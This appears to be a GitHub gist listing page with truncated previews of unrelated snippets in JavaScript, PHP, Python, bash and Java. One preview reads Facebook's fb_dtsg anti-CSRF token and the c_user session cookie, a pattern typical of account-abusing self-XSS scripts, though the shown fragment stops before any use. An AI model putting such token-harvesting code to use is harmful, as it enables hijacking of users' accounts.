This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//require line | |
var SceneView = require('ui').SceneView; | |
//`:load` line | |
var scene = new SceneView({ style: { width: 'fill-parent', height: 36 }}); | |
scene.setLayers(sceneLayers.count); | |
scene.defineSpritesheet('headerImage', app.imageURL('header_image.png'), 128, 36); | |
scene.add({ | |
sprite: 'headerImage', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//taken from: http://stackoverflow.com/questions/182630/jquery-tips-and-tricks/382922#382922 | |
$.extend($.expr[":"], { | |
over100pixels: function (e) | |
{ | |
return $(e).height() > 100; | |
} | |
}); | |
$(".box:over100pixels").click(function () | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{"title": "this is title", "content": "this is english content"} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
import urllib2 | |
import datetime | |
import time | |
try: | |
import json | |
except: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var page = new WebPage(); | |
//spoof it as opera mini, to get the mobile page working properly | |
page.settings.userAgent = "Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/27.1407; U; en) Presto/2.8.119 Version/11.10"; | |
function doLogin(){ | |
page.evaluate(function(){ | |
var frm = document.getElementById("login_form"); | |
frm.elements["email"].value = "--enter-your-email--"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class ExampleRestController extends Controller_Rest { | |
/** | |
* @var array List all supported methods | |
*/ | |
protected $_supported_formats = array( | |
'xml' => 'application/xml', | |
// 'rawxml' => 'application/xml', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Model_CatalogImage extends Orm\Model { | |
public static function getRelations() { | |
$return = array(); | |
if(isset(Model_CatalogImage::$_belongs_to)){ | |
$return['belongto'] = Model_CatalogImage::$_belongs_to; | |
} | |
if(isset(Model_CatalogImage::$_has_many)){ | |
$return['hasmany'] = Model_CatalogImage::$_has_many; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
/Users/ariefbayu/Documents/Applications/phonegap-2.5.0/lib/android/bin/create $1 $2 $3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
function cereziAl(param) { | |
var tparam = param + '='; | |
if (document.cookie.length > 0) { | |
konum = document.cookie.indexOf(tparam); | |
if (konum != -1) { | |
konum += tparam.length; | |
son = document.cookie.indexOf(';', konum); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SmartLocation.with(getApplicationContext()).location() | |
.oneFix() | |
.config(LocationParams.NAVIGATION) | |
.provider(new LocationGooglePlayServicesWithFallbackProvider(getApplicationContext())) | |
.start(new OnLocationUpdatedListener() { | |
@Override | |
public void onLocationUpdated(Location location) { | |
latitude = location.getLatitude(); | |
longitude = location.getLongitude(); |
OlderNewer